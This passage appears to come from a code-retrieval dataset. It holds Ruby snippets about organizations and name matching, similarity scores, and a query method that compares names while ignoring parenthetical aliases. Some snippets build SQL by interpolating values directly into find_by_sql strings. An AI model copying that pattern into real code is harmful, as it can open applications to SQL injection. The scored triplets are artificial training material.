"def index\n @orgs = policy_scope(Org)\n end",
"def organization(name, params = {})\n http.get \"/organization/#{name}\", params\n end",
"def organization(name, params = {})\n http.get \"/organization/#{name}\", params\n end",
"def read_all(user_guid)\n organizations_list = []\n orgs_list = @client.organizations\n\n orgs_list.each do |org|\n owner = org.managers.find { |manager| manager.guid == user_guid }\n billing = org.billing_managers.find { |billing| billing.guid == user_guid }\n auditor = org.auditors.find { |auditor| auditor.guid == user_guid }\n\n if owner || billing || auditor\n organizations_list << Organization.new(org.name, 0, org.users.count, org.guid, false)\n end\n end\n\n organizations_list.sort! { |first_org, second_org| first_org.name.downcase <=> second_org.name.downcase }\n end",
"def index\n @organizations = Organization.where(:id => current_user.organization_id)\n \n respond_with(@organizations)\n end",
"def autocomplete_material_name_where\n \"organization_id = #{current_user.organization.id}\"\n end",
"def index\n if current_user.role == \"su\"\n @organizations = Organization.all\n elsif current_user.role == \"ru\"\n @organizations = Organization.find_by_sql(\"select * from organizations where id in (select organization_id from org_users where user_id = #{current_user.id}) \")\n elsif current_user.role == \"sub\"\n @projects = Project.find_by_sql(\"select * for projects where id in (select project_id from user_project where user_id = '#{current_user.id}')\")\n end \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def list \n @organizations = Organization.all\n \n render \"list\"\n end",
"def organisms(name)\n opts = settings.services[name] or halt 404\n s = Service.new opts[\"root\"]\n s.select(\"Organism.*\").all\n end",
"def organization\n if solo_run?\n # configurable fake organization name for chef-solo users\n Chef::Config[:data_collector][:organization]\n else\n Chef::Config[:chef_server_url].match(%r{/+organizations/+([^\\s/]+)}).nil? ? \"unknown_organization\" : $1\n end\n end",
"def by_organisation\n query = Query.find_by_sql(\n \"select o.id organisation_id, o.name organisation_name,o.residential_suburb organisation_suburb, o.not_gst_registered, sum(c.amount) sumamount\\n\"+\n \"from claims c\\n\"+\n \" join organisations o on o.id = c.organisation_id\\n\"+\n \"where c.payment_run_id = #{self.id}\\n\"+\n \"group by o.id, o.name,o.residential_suburb,o.not_gst_registered\\n\"+\n \"order by 2\")\n query\n end",
"def index\n @organization_connections = OrganizationConnection.all\n end",
"def index\n @clients_organizations = ClientsOrganization.all\n end",
"def connect_to_organization_database\n @org = nil\n \n # request is first priority\n if params[:org_code]\n # AKN: we should let the gem user decide whether to do this\n # if session[:org_code] && session[:org_code] != params[:org_code]\n # reset_session\n # end\n @org = MultiDB::Organization.active.where(:code => params[:org_code]).first\n end\n \n # try hostname if we don't already have a code in the session\n if !@org && !session[:org_code] && request && request.host\n @org ||= MultiDB::Organization.active.where(:code => $1.gsub('-', '_')).first if request.host =~ /^([-\\w\\d]+)/\n @org ||= MultiDB::Organization.active.includes(:hosts).where('organization_hosts.host = ?', request.host).references(:organization_hosts).first\n end\n \n if @org\n if session[:org_code] != @org.code\n session[:org_code] = @org.code\n session[:org_name] = @org.name\n end\n end\n \n if session[:org_code]\n @org ||= MultiDB::Organization.active.where(:code => session[:org_code]).first\n return @org if @org && @org.connect(true)\n end\n \n if Rails.env.test? && ENV['RAILS_ORG']\n @org ||= MultiDB::Organization.active.where(:code => ENV['RAILS_ORG']).first\n return @org if @org && @org.connect(true)\n end\n \n # if we don't issue an establish_connection by now, connect to default db (sessions)\n session[:org_code] = session[:org_name] = nil\n ActiveRecord::Base.connect_to_sessions\n end",
"def organization\n _get(\"/account/organization\") { |json| json }\n end",
"def run\n super\n\n entity_name = _get_entity_name\n\n o = Opencorporates::Api.new.search entity_name\n o[\"results\"][\"companies\"].each do |result|\n next unless result[\"company\"]\n\n _create_entity \"Organization\", {\n \"name\" => result[\"company\"][\"name\"],\n \"uri\" => result[\"company\"][\"opencorporates_url\"],\n \"opencorporates\" => result\n }\n \n end\n end",
"def orgs\n @orgs = Organization.find(:all, :order => 'name ASC')\n\n respond_to do |format|\n format.html # orgs.html.erb\n format.xml { render :xml => @orgs }\n end\n end",
"def GetOrgs params = {}\n\n params = params.merge(path: 'organizations.json')\n APICall(params)\n\n end",
"def index\n @group_organizations = GroupOrganization.all\n end",
"def organisations\n uri = self.uri\n query = Ruta::Sparql.select.where(\n [:org, RDF.type, Ruta::Class.organisation],\n [:org, RDF::FOAF.member, :mir],\n [:mir, Ruta::Property.has_member, uri]\n )\n orgs = []\n query.each_solution { |sol| orgs.push(sol.org.as(Organisation)) }\n orgs\n end",
"def index\n @sourcing_orgs = SourcingOrg.all\n end",
"def organization_exists?(name)\n @organizations.member?(name)\n end",
"def filter\n\n query = params[:query]\n orgs = params[:organization_id] ? [params[:organization_id].to_i] : @organization_list\n query_str = \"%\" + query + \"%\"\n Rails.logger.debug query_str\n\n matches = []\n assets = Asset.where(\"organization_id in (?) AND (asset_tag LIKE ? OR object_key LIKE ? OR description LIKE ?)\", orgs, query_str, query_str, query_str)\n if params[:allow_parent].to_i == 1 # only allow assets of types that allow parents and dont already have parents\n assets = assets.where(asset_type: AssetType.where(allow_parent: true), parent_id: nil)\n end\n assets.each do |asset|\n matches << {\n \"id\" => asset.object_key,\n \"name\" => \"#{asset.name}: #{asset.description}\"\n }\n end\n\n respond_to do |format|\n format.js { render :json => matches.to_json }\n format.json { render :json => matches.to_json }\n end\n\n end",
"def do_your_stuff! organization_name\n get_members_for_org organization_name\n get_repositories_for_all_members\n get_stats_for_repositories\n end",
"def adopt_organization\n if external_id? && organization.blank?\n self.organization = Organization.where { |o| o.id.in(\n Registration.unscoped.where( :external_id => external_id ).\n select { organization_id } ) }.first\n end\n true\n end",
"def search_externally(search_term:)\n return [] unless search_term.present? && search_term.length > 2\n\n orgs = externals_search(search_term: search_term)\n prepare(search_term: search_term, records: orgs)\n end",
"def index\n @organization = Organization.find_by_id(params[:organization_id])\n if @organization\n @users = @organization.users\n else\n @status = :fail\n @data = {organization: \"Organization #{params[:organization_id]} not found.\"}\n render status: :not_found, json: json_response(:fail, data: @data)\n end\n end",
"def index\n manage_filter_state\n letter = params[:letter]\n # OCO\n init_oco if !session[:organization]\n\n @search = Entity.search do\n fulltext params[:search]\n if session[:organization] != '0'\n with :organization_id, session[:organization]\n end\n if !letter.blank? && letter != \"%\"\n any_of do\n with(:last_name).starting_with(letter)\n with(:company).starting_with(letter)\n end\n end\n order_by :fiscal_id, :asc\n paginate :page => params[:page] || 1, :per_page => per_page\n end\n @entities = @search.results\n \n # If letter isn't used into search block:\n=begin \n if letter.blank? || letter == \"%\"\n @entities = @search.results\n else\n @entities = Entity.where(\"last_name LIKE ?\", \"#{letter}%\").paginate(:page => params[:page], :per_page => per_page).order('fiscal_id')\n if @entities.count == 0\n @entities = Entity.where(\"company LIKE ?\", \"#{letter}%\").paginate(:page => params[:page], :per_page => per_page).order('fiscal_id')\n end\n if session[:organization] != '0'\n @entities = @entities.where(\"organization_id = ?\", \"#{session[:organization]}\")\n end\n end\n=end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entities }\n format.js\n end\n end",
"def show\n cf_get(path: \"/organizations/#{org_id}\")\n end",
"def admin_organizations_with_protocols\n Organization.authorized_for_identity(@id).joins(:sub_service_requests)\n end"
] |
[
"0.70058477",
"0.6952957",
"0.6885733",
"0.66673684",
"0.66656864",
"0.65583754",
"0.65322286",
"0.6488152",
"0.6473589",
"0.64543575",
"0.64014906",
"0.6392004",
"0.619959",
"0.61935896",
"0.6176346",
"0.6119627",
"0.6112824",
"0.6112727",
"0.6079618",
"0.5991687",
"0.5979084",
"0.5977388",
"0.59727883",
"0.5961256",
"0.5960418",
"0.59546274",
"0.5948471",
"0.59391665",
"0.59391665",
"0.59391665",
"0.59391665",
"0.59391665",
"0.59391665",
"0.59391665",
"0.59391665",
"0.59391665",
"0.59283656",
"0.5923341",
"0.5904413",
"0.58988804",
"0.58917814",
"0.5849306",
"0.5843005",
"0.5824055",
"0.58106333",
"0.58051157",
"0.57974845",
"0.57898885",
"0.57606816",
"0.57560015",
"0.57185864",
"0.57076067",
"0.5704698",
"0.56891346",
"0.566554",
"0.5654141",
"0.5652226",
"0.5649631",
"0.5630733",
"0.5625959",
"0.5615181",
"0.5592697",
"0.5586461",
"0.557984",
"0.55779636",
"0.55762357",
"0.55670553",
"0.5563171",
"0.55623555",
"0.55622536",
"0.5554919",
"0.5553532",
"0.5553532",
"0.55518943",
"0.55513334",
"0.55460143",
"0.5539068",
"0.55357283",
"0.55249745",
"0.5521896",
"0.55147856",
"0.55097836",
"0.5509137",
"0.5496589",
"0.54949665",
"0.54945433",
"0.5482958",
"0.5475492",
"0.5473624",
"0.5456927",
"0.54468036",
"0.5440192",
"0.5439186",
"0.54367393",
"0.5435625",
"0.5433092",
"0.5417339",
"0.5400423",
"0.53893614",
"0.53860396"
] |
0.5400889
|
97
|
Determines whether or not the 2 names match (ignoring parenthesis text)
|
def exact_match?(name1:, name2:)
return false unless name1.present? && name2.present?
a = name_without_alias(name: name1.downcase)
b = name_without_alias(name: name2.downcase)
a == b
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def names_match?(n1, style1, n2, style2)\n f1 = style1 == :short ? n1.first : n1.firstname\n m1 = style1 == :short ? n1.middle : n1.middlename\n l1 = style1 == :short ? n1.last : n1.lastname\n \n f2 = style2 == :short ? n2.first : n2.firstname\n m2 = style2 == :short ? n2.middle : n2.middlename\n l2 = style2 == :short ? n2.last : n2.lastname\n \n # first/last name have to be provided\n return false if l1.nil? || l2.nil? || f1.nil? || f2.nil?\n return false if l1.downcase.strip != l2.downcase.strip\n \n unless @options[:skip_match_suffix]\n s1 = n1.suffix\n s2 = n2.suffix\n return false if s1 && s2 && compare_without_dot(s1, s2) == false\n end\n \n return false if !abbr_match?(f1, f2)\n m1.nil? or m2.nil? or abbr_match?(m1, m2)\n end",
"def match?(given_names); end",
"def match?(name); end",
"def match_name?(gotten_name, requested_name)\n gotten_name.text.strip.downcase == requested_name.downcase\n end",
"def abbr_match?(str1, str2)\n build_middlename_regexp(str1) =~ str2\n end",
"def has_same_name?(first, last)\n is_same_word(first,self.firstname) and is_same_word(last, self.lastname)\n end",
"def match?(cop_names); end",
"def similar_name(other_norm_name)\n (normalized_name.start_with?(other_norm_name) || other_norm_name.start_with?(normalized_name))\n end",
"def match?(name, literal) true end",
"def name_probably_matches(person_name)\n comparable_parts_of(name) == comparable_parts_of(person_name)\n end",
"def name_equals?(other_name)\n name.downcase == other_name.downcase\n end",
"def name_matches?(name, match)\n if match.include? '*'\n parts = match.split '*'\n first = parts.shift\n\n # if it's a leading *, this works because start_with?(\"\") always returns true\n # and has a length of 0 so the position stays at 0, which is correct\n if name.start_with?(first)\n # check for suffix match right away, accounting for a final * which split doesn't return\n if not match.end_with? '*' and not name.end_with?(parts.pop)\n return false\n end\n\n # check any internal wildcards\n position = first.length\n parts.each do |p|\n # find the substring starting at the position end of the last match\n found = name.index(p, position)\n if found and found >= position\n position = found + p.length # end of the matched substr\n else\n return false\n end\n end\n end\n elsif name == match\n true\n end\n end",
"def name_matches?(pattern)\n name.match(pattern)\n end",
"def output_matched?(p_name, output_names)\n output_names.detect do |o_name|\n Bogo::Utility.snake(o_name).tr('_', '') == Bogo::Utility.snake(p_name).tr('_', '')\n end\n end",
"def correct_name\n name == \"Chris\" || name == \"Blak\"\nend",
"def includes_name?(line, name)\n /\\s#{Regexp.escape(name)}(\\s|$)/ =~ line\n end",
"def includes_name?(line, name)\n /\\s#{Regexp.escape(name)}(\\s|$)/ =~ line\n end",
"def correct_name\n name == \"Chris\" || name == \"Blake\"\nend",
"def test_compare_string_overlap_defs\n v1 = Vertex.new(\"speech\", 2, 1, 0, 0, 1, \"NN\")\n v2 = Vertex.new(\"delivering\", 2, 1, 0, 0, 1, \"VB\")\n assert_equal(1, instance.compare_strings(v1, v2, speller))#no POS is considered for hypernyms and hyponyms\n end",
"def first_name_same_first_and_last_letter\n first_name[0] == first_name[-1]\n end",
"def matching_the_word_and\n /WRITE ME/\n end",
"def taxamatch(str1, str2, return_boolean = true)\n preparsed_1 = @parser.parse(str1)\n preparsed_2 = @parser.parse(str2)\n match = taxamatch_preparsed(preparsed_1, preparsed_2) rescue nil\n return_boolean ? (!!match && match['match']) : match\n end",
"def scoped_name_is(name)\n name = SqlHelper::escapeWildcards(name)\n where do\n first_name.op('||', ' ').op('||', last_name).like(name) | \n first_name.op('||', last_name).like(name) \n end\n end",
"def matchText(fieldName, expectedText, actualText)\n expectedText = expectedText.gsub(\" \", \"\")\n expectedText = expectedText.gsub(\"-\", \"\")\n actualText = actualText.gsub(\" \", \"\")\n actualText = actualText.gsub(\"-\", \"\")\n\n if (actualText.downcase.include? (expectedText.downcase))\n puts expectedText + ' is matched with ' + actualText\n else\n raise 'Expected profile '+fieldName+' is ' + expectedText + ' but found ' + actualText\n end\n end",
"def create_match(nominee)\n names = []\n pname = nominee[:name]\n names << pname\n names << pname.sub(%r{ [A-Z]\\. }, ' ') # drop initial\n personname = ASF::Person.find(nominee[:id]).public_name\n names << personname if personname\n list = names.uniq.map{|name| Regexp.escape(name)}.join('|')\n # N.B. \\b does not match if it follows ')', so won't match John (Fred)\n # TODO: Work-round is to also look for EOS, but this needs to be improved\n %r{\\b(#{list})(\\b|$)}i\nend",
"def family_name_matches\n filtered_matches(ignore: [:first_name], partial_or_perfect: [:family_name], perfect: [:street, :city])\n end",
"def matches?(str1, str2)\n str1.start_with?(str2) || str2.start_with?(str1)\n end",
"def maybe_matching(ingredient_long_name,item)\n return (item.downcase.split(\" \") & ingredient_long_name.split(\" \")).size >= 1\nend",
"def match_rawname(name, rawlist)\n rawlist.each { |r| return r if name == r }\n rawlist.each { |r| return r if name.downcase == r.downcase }\n may = rawlist.find_all { |r| r.downcase.index(name.downcase) }\n may.first if may.length == 1\n end",
"def match_rawname(name, rawlist)\n rawlist.each { |r| return r if name == r }\n rawlist.each { |r| return r if name.downcase == r.downcase }\n may = rawlist.find_all { |r| r.downcase.index(name.downcase) }\n may.first if may.length == 1\n end",
"def has_same_first_name_as?(person1, person2)\n # ???\nend",
"def name_like(name)\n name = SqlHelper::escapeWildcards(name)\n where{first_name.op('||', ' ').op('||', last_name).like(\"%#{name}%\")}\n end",
"def taxamatch_preparsed(preparsed_1, preparsed_2)\n result = nil\n if preparsed_1[:uninomial] && preparsed_2[:uninomial]\n result = match_uninomial(preparsed_1, preparsed_2)\n end\n if preparsed_1[:genus] && preparsed_2[:genus]\n result = match_multinomial(preparsed_1, preparsed_2)\n end\n if result && result['match']\n result['match'] = match_authors(preparsed_1, preparsed_2) == -1 ?\n false : true\n end\n return result\n end",
"def name_overlap?\n conditions = ['short_name = ?', short_name]\n unless new_record?\n conditions.first << ' AND id <> ?'\n conditions << id\n end \n self.class.exists?(conditions) \n end",
"def match?(wordA, wordB)\n wordA == wordB.each_char.sort.join('') \nend",
"def pair_not_overlapping?\n !(self.match(/([a-z][a-z]).*\\1/)).nil?\n end",
"def name?(name)\n name = name&.strip\n !(name.blank? || name.match?(%r{(N[/\\\\]+A|UNKNOWN)}i))\n end",
"def starts_and_ends_with_same_letter?(word)\nend",
"def identical?(record1, record2)\n if regexp\n if (str1_match_data = regexp.match(record1.whole)) and (str2_match_data = regexp.match(record2.whole))\n str1_match_data.captures.join.downcase == str2_match_data.captures.join.downcase\n else\n nil\n end\n else\n proc.call record1.original, record2.original\n end\n end",
"def ==(other)\n fullname == other.to_s\n end",
"def set_partial_name_match\n return if waypoints.length == 0\n #Only need to compute partial name match if new or a name has changed.\n return unless self.id.nil? || self.name_changed? || self.alternate_names_changed?\n #For each place look for trimmed name inside the places full names\n Place.find_by_radius(averageLatitude, averageLongitude, 70).each do |place|\n next if place == self\n trimmed_names.each do |trimmed| #Look for trimmed names in neighbour places names\n\tplace.raw_names.each do |name|\n\t if name.match(trimmed)\n\t self.partial_name_match = false\n\t return\n\t end\n\tend\n end\n end\n self.partial_name_match = true\n end",
"def matching_exactly_one_word\n /WRITE ME/\n end",
"def name(input)\n\t(/[a-zA-Z]+(\\,|\\s)(\\s)?[a-zA-Z]+(\\,|\\s)(\\s)?[a-zA-Z]+(\\.)?/i =~ input)? \"true\" : \"false\"\nend",
"def ==(other)\n super || self.full_name == other.full_name\n end",
"def is_valid_name(str)\n\twords = str.split(\" \")\n \tif words.length >= 2\n \twords.each do |word|\n temp = word[0].upcase + word[1..-1].downcase\n if temp != word\n return false\n end\n end\n return true\n end\n return false\nend",
"def name_matches?(xml_node, name)\n return false unless xml_node.respond_to?(:name)\n\n return xml_node.name == name || name == '*'\n end",
"def is_valid_name(str)\n return str.include?(\" \") && format_name(str) == str\nend",
"def is_named? n\n n && n.downcase == @name\n end",
"def =~(re)\n re === name || re === MAPPING[name]\n end",
"def same_letters?\n (@first.downcase.gsub(/[^a-z0-9\\s]/i, '').split(\"\") - @second.downcase.gsub(/[^a-z0-9\\s]/i, '').split(\"\")).empty?\n end",
"def is_valid_name(name)\n name_arr = name.split(\" \")\n if (name_arr.length > 1)\n name_arr.each do |word|\n if !(word[0] == word[0].upcase && word[1..-1] == word[1..-1].downcase)\n return false\n end\n end\n else\n return false\n end\n true\nend",
"def is_valid_name(str)\n\tnames = str.split(\" \")\n \tif names.length < 2\n return false\n end\n \n \tnames.each do | name |\n if(name[0] != name[0].upcase || name[1..-1] != name[1..-1].downcase)\n return false\n end\n end\n return true\nend",
"def is_valid_name(name)\n return false if name.split.length < 2\n name == format_name(name)\nend",
"def platform_name_match?(platform, name)\n [platform.name, platform.string_name].any? { |n| n.casecmp(name) == 0 }\n end",
"def is_valid_name(str)\n str_arr = str.split\n check = []\n str_arr.each do |ele|\n formatted = ele[0].upcase + ele[1..-1].downcase\n check << formatted\n end\n if check.length < 2 || check.join(\" \") != str\n return false\n else\n return true\n end\nend",
"def common_letter?(w1, w2)\n\tw1 = w1.downcase\n\tw2 = w2.downcase\n\t# Iterating through all the characters of w1, until finding a character\n\t# that w2 includes\n\tw1.each_char do |char1|\n\t\treturn true if w2.include?(char1)\n\tend\n false\nend",
"def reactive_pair? mer1, mer2\n mer1 != mer2 && mer1.upcase == mer2.upcase\nend",
"def matches?(ref_name)\n return false if @ref_name_or_pattern.blank?\n\n exact_match?(ref_name) || wildcard_match?(ref_name)\n end",
"def name?\n family_name? || given_name?\n end",
"def carefull_name?(name)\n not !! (name =~ /\\w{8}-\\w{4}-\\w{4}-\\w{4}-\\w{12}/)\nend",
"def check_twolast_include name_array, letters\n if name_array.length < 2 # If the name lenght is inferior to two,\n return false # return a negative answer,\n else # or else,\n return name_array.last(2).all? { |char| letters.include? char } # return if the two last characters of the name are from the same group or not.\n end\nend",
"def sv_validate_name\n correct_name_format = false\n\n if self.rank_class\n # TODO: name these Regexp somewhere\n if (self.name =~ /^[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :iczn && self.name =~ /^[a-zA-Z]-[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :icn && self.name =~ /^[a-zA-Z]*-[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :icn && self.name =~ /^[a-zA-Z]*\\s×\\s[a-zA-Z]*$/) ||\n (self.rank_class.nomenclatural_code == :icn && self.name =~ /^×\\s[a-zA-Z]*$/)\n correct_name_format = true\n end\n\n unless correct_name_format\n invalid_statuses = TAXON_NAME_CLASS_NAMES_UNAVAILABLE_AND_INVALID\n invalid_statuses = invalid_statuses & self.taxon_name_classifications.collect { |c| c.type_class.to_s }\n misspellings = TaxonNameRelationship.collect_to_s(\n TaxonNameRelationship::Iczn::Invalidating::Usage::IncorrectOriginalSpelling,\n TaxonNameRelationship::Iczn::Invalidating::Usage::Misspelling,\n TaxonNameRelationship::Icn::Unaccepting::Usage::Misspelling)\n misspellings = misspellings & self.taxon_name_relationships.collect { |c| c.type_class.to_s }\n if invalid_statuses.empty? && misspellings.empty?\n soft_validations.add(:name, 'Name should not have spaces or special characters, unless it has a status of misspelling')\n end\n end\n end\n\n # TODO: break this one out \n if SPECIES_RANK_NAMES.include?(self.rank_string)\n soft_validations.add(:name, 'name must be lower case') unless self.name == self.name.downcase\n end\n\n end",
"def mutation?(str_one, str_two)\n str_two.chars.all? {|char| str_one.include? char}\nend",
"def acting_for_self\r\n self.names &&\r\n self.names.count == 1 &&\r\n self.names[0] == enactor_name\r\n end",
"def is_same_word(a,b)\n a = strip_cs_chars(a).downcase\n b = strip_cs_chars(b).downcase\n a == b\n end",
"def match?(cop_names)\n cops == cop_names.uniq.sort\n end",
"def registration_name_matches?(rule)\n rule == \"#{registration_name}.\"\n end",
"def matches_specs(text)\n text = text.downcase\n matches = false\n\n # some of Terri's terms were redundant so I removed them\n matches = true if text =~ /\\bsid|pakistan[.]* rendition|apartheid|apart[.]* regime|apart[.]* state|palestin[.]*/\n matches = true if text =~ /israel/ and text =~ /human rights violations/\n\n matches\nend",
"def check_email_name_conflict()\n mail_header_output.name_conflicts = mail_header_output.firstname_lastname && mail_header_output.flastname\n if (!mail_header_output.firstname_lastname && !mail_header_output.flastname)\n mail_header_output.correct_email_format=MailHeader.unknown\n end\n\tend",
"def show_me(name)\n !!name.match(/\\A[A-Z][a-z]+(-[A-Z][a-z]+)*\\z/)\nend",
"def probable_matching(ingredient_long_name,item)\n return (item.downcase.split(\" \") & ingredient_long_name.split(\" \")).size >= 2\nend",
"def matching_greeting_exactly\n /WRITE ME/\n end",
"def name_conditions\n [\"(lower(users.first_name) LIKE ? AND lower(users.last_name) LIKE ?) OR (lower(users.first_name) LIKE ? AND lower(users.last_name) LIKE ?)\", \"%#{first_name}%\", \"%#{last_name}%\", \"%#{last_name}%\", \"%#{first_name}%\"] unless name.blank?\n end",
"def fcompares(fname1, sname, fname2)\n cmp = true\n if (fexists fname1, sname) and (fexists fname2, sname)\n x = eval \"$#{fname1}['#{sname},facets']\"\n y = eval \"$#{fname2}['#{sname},facets']\"\n if x == y\n (eval \"$#{fname1}\").each do |i|\n if sname.eql? i.scan(/^\\w+/)\n x = eval \"$#{fname1}[i]\"\n y = eval \"$#{fname2}[i]\"\n if x != y\n cmp = false\n end\n end\n end\n return cmp\n else \n return false\n end\n else\n reuturn false\n end\nend",
"def match(other)\n String.new(self).match other\n end",
"def ensure_identified_name_type_matches\n return if name.blank? || non_conforming?\n return unless (identified_name_type = Names::IdentifyNameType[name])\n\n return if is_a?(identified_name_type)\n return if is_a?(SubtribeName) && Subtribe.valid_subtribe_name?(name)\n\n errors.add :name, <<~STR.squish\n type (`#{self.class.name}`) and identified name type (`#{identified_name_type.name}`) must match.\n Flag name as 'Non-conforming' to bypass this validation.\n STR\n end",
"def valid_name (name)\r\n /^\\w+$/.match (name)\r\n end",
"def name_matches(name)\n where(\"lower(name) = ?\", normalize_name(name)).limit(1)\n end",
"def second_method(name_1, name_2)\n puts \"#{name_1}'s beauty really can't compare with #{name_2}'s.\"\nend",
"def is_valid_name(str)\n\tnames_arr = str.split(\" \")\n if names_arr.length < 2\n return false\n end\n\n \tnames_arr.each do |name|\n if check_case(name)\n return true\n \n else\n return false\n end\n end \nend",
"def =~(left, right)\n raise if right.is_a? Regexp\n \"#{left}#{quotify right}\"\n end",
"def codesign_identites_match?(identity1, identity2)\n return true if identity1.downcase.include?(identity2.downcase)\n return true if identity2.downcase.include?(identity1.downcase)\n false\n end",
"def matches_signature(signature)\n @name == signature.name\n end",
"def ==(other)\n return name == other.name\n end",
"def irc_eql?(first, second, casemapping = :rfc1459)\n return irc_upcase(first, casemapping) == irc_upcase(second, casemapping)\n end",
"def name_valid?(name)\n name.nil? || /^[A-Za-z]{2,}$/.match?(name)\n end",
"def names_mapable?\n !(home_name.nil? || away_name.nil?)\n end",
"def ==(other)\n return self.name == other.name\n end",
"def twoStrings(s1, s2)\n require 'set'\n set1 = Set.new(s1.chars)\n set2 = Set.new(s2.chars)\n if set1.intersect? set2\n return \"YES\"\n else\n return \"NO\"\n end\nend",
"def snapshots_match?(s1, s2)\n s1 == s2\n end",
"def include?(str)\n @name.index(str) >= 0\n end",
"def check_name(member, name, sign)\n if name.is_a(Numeral)\n p \"Please turn you numeral into a string (\"\")\"\n end\n case sign\n when \"=\"\n if $game_party.members[member].alignment_name == name\n return true\n else\n return false\n end\n when \"!\"\n if $game_party.memebrs[member].alignment_name != name\n return true\n else\n return false\n end\n end\n end",
"def valid_name(full_name)\n names = full_name.split\n\n if names.size < 2 ||\n (names[-1].size < 3 || names[-1][-1] == \".\") ||\n names.select {|name| name.size == 1}.count > 0 ||\n names.select {|name| name[0] == name[0].downcase}.count > 0 ||\n (names.size > 2 && names[0].size == 2 && names[1].size > 2 && names[0][-1] == \".\")\n return false\n end\n\n names\nend",
"def is_valid_name(str)\n parts = str.split(\" \")\n if parts.length <2\n return false;\n end\n parts.each do |word|\n if word[0] == word[0].upcase && word[1..-1]==word[1..-1].downcase\n return true\n else\n return false\n end \n end \nend",
"def match?(resource)\n resource[:name].casecmp(packagecode) == 0 ||\n resource[:name].casecmp(productcode) == 0 ||\n resource[:name] == name\n end",
"def implies?(other)\n return true if other.selector == selector\n return false unless selector.start_with?(other.selector)\n # If other ends on a symbol like a ] or a ), then it can't be a case of .hello and .hello_world\n return true if other.selector[-1] =~ /[^\\w-]/\n\n !!(selector[other.selector.size] =~ /[^\\w-]/)\n end",
"def person_is_seller(name)\n name[-1] == 't'\nend",
"def name?\n first_name? || last_name?\n end",
"def similar?(a, b) # rubocop:disable Naming/UncommunicativeMethodParamName\n Levenshtein.normalized_distance(a.downcase, b.downcase) < 0.3 # chosen quasi-randomly ;)\n end",
"def match?(other)\n name == other.name if other.is_a? Atomic\n end"
] |
[
"0.72339934",
"0.72310805",
"0.68644345",
"0.6822717",
"0.67379135",
"0.66431665",
"0.6568806",
"0.65048754",
"0.6489231",
"0.6485371",
"0.6330591",
"0.6263789",
"0.62537646",
"0.6161135",
"0.61080587",
"0.6083597",
"0.6083597",
"0.6080111",
"0.60179526",
"0.6011076",
"0.6006187",
"0.595138",
"0.5925629",
"0.5909942",
"0.59091",
"0.5907161",
"0.588504",
"0.58768183",
"0.5867537",
"0.5867537",
"0.58672434",
"0.5814967",
"0.57946634",
"0.5794087",
"0.5790496",
"0.5761502",
"0.5755806",
"0.57515675",
"0.5743961",
"0.57433814",
"0.57360506",
"0.5735906",
"0.570743",
"0.57041246",
"0.5692639",
"0.56612706",
"0.5658259",
"0.56539494",
"0.56513315",
"0.56270045",
"0.5605412",
"0.5593429",
"0.55844504",
"0.55814844",
"0.5570188",
"0.5569063",
"0.55642915",
"0.55613464",
"0.55603516",
"0.555832",
"0.55559814",
"0.55553925",
"0.5544695",
"0.5538532",
"0.5530761",
"0.55238616",
"0.5522252",
"0.5520888",
"0.5514238",
"0.5513939",
"0.5513637",
"0.5510837",
"0.5508267",
"0.5480387",
"0.54782176",
"0.5471504",
"0.54700124",
"0.54616725",
"0.54612505",
"0.5455614",
"0.54514056",
"0.5443576",
"0.5438056",
"0.5437157",
"0.5429889",
"0.5422714",
"0.5422127",
"0.54196334",
"0.54142934",
"0.5411266",
"0.5409951",
"0.540952",
"0.5405808",
"0.540159",
"0.5397167",
"0.5393602",
"0.5383121",
"0.53828484",
"0.537976",
"0.53638893"
] |
0.7354697
|
0
|
Removes the parenthesis portion of the name. For example: "Foo College (foo.edu)" > "Foo College"
|
def name_without_alias(name:)
return '' if name.blank?
name.split(' (')&.first&.strip
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def clean_name\n name.gsub(/\\(.*?\\)/, \"\").gsub(/(.*)/, \"\").strip\n end",
"def name_filter\n self.gsub(/[^a-zA-Z\\s\\-\\(\\)]/, '')\n end",
"def cleanup_firstname(name)\n name.gsub(/^Dean(\\w+)/) { |s| \"DeAn#{$1}\" }\n end",
"def clean_name(name)\n if name.present?\n name.gsub(/(\\s|-|\\.|,)/,'')\n end\n end",
"def short_name \r\n name.gsub(/([A-Z])[^A-Z]+/, '\\1')\r\n end",
"def strip_parenthesis(str)\n str = str.gsub(/\\(([a-z][0-9]*)*\\)/, '')\n \n return str\n end",
"def name_clean\n self.name.gsub(/_/, \" \")\n end",
"def format_name(first, last)\n return nil if first.empty? || last.empty?\n f = first.delete(\" \")\n l = last.delete(\" \")\n username = f[0]\n username << l\n user = username.downcase\n user.gsub(/[\\W]/, '') # this is meant to remove special characters, but it doesn't work!\nend",
"def stripResolution(nameOfFile)\n #Split the string on the open paren\n resolution = nameOfFile.split(\"(\").last\n #Remove the close paren, leaving just the resolution\n return resolution.tr(\")\",\"\")\nend",
"def clean_name\n return name.split(':').pop\n end",
"def middle_name\n name.split[1..-2].join(' ')\n end",
"def normalize_name\n @normalize_name ||= begin\n return '' if name.empty?\n\n exclude = %w[corporation institute organization university\n all and of the].join('|')\n tmp = name.dup\n tmp.gsub!(/#{exclude}/i, '')\n tmp.gsub!(/\\s+/, ' ')\n tmp.strip!\n tmp.downcase # it's not case sensitive\n end\n end",
"def safe_name\n name.to_s.gsub(/[^a-zA-Z0-9 _\\-:\\.]/, '').gsub(/:/, ' - ').gsub(/ +/, ' ')\n end",
"def full_name\n \"#{first_name} #{last_name}\".gsub(/\\b('?[a-z])/) { $1.capitalize }.strip\n end",
"def full_name(name)\n return '' if name.nil?\n [name.first, name.middle, name.last].compact.join(' ')\n end",
"def _prepareName ( name )\n name.to_s.gsub /[\\W]/, ''\n end",
"def name\n [last_name.upcase, first_name].delete_if { |n| n.blank? }.join(\", \")\n end",
"def normal_name(text)\n\t\t\tar = text.split(', ')\n\t\t\tlastname = ar[0]\n\t\t\tfirstpart = ar[1]\n\t\t\tfirstname = firstpart.gsub(/[[:upper:]]\\./, '').strip\n\t\t\tfirstname + ' ' + lastname\n\t\tend",
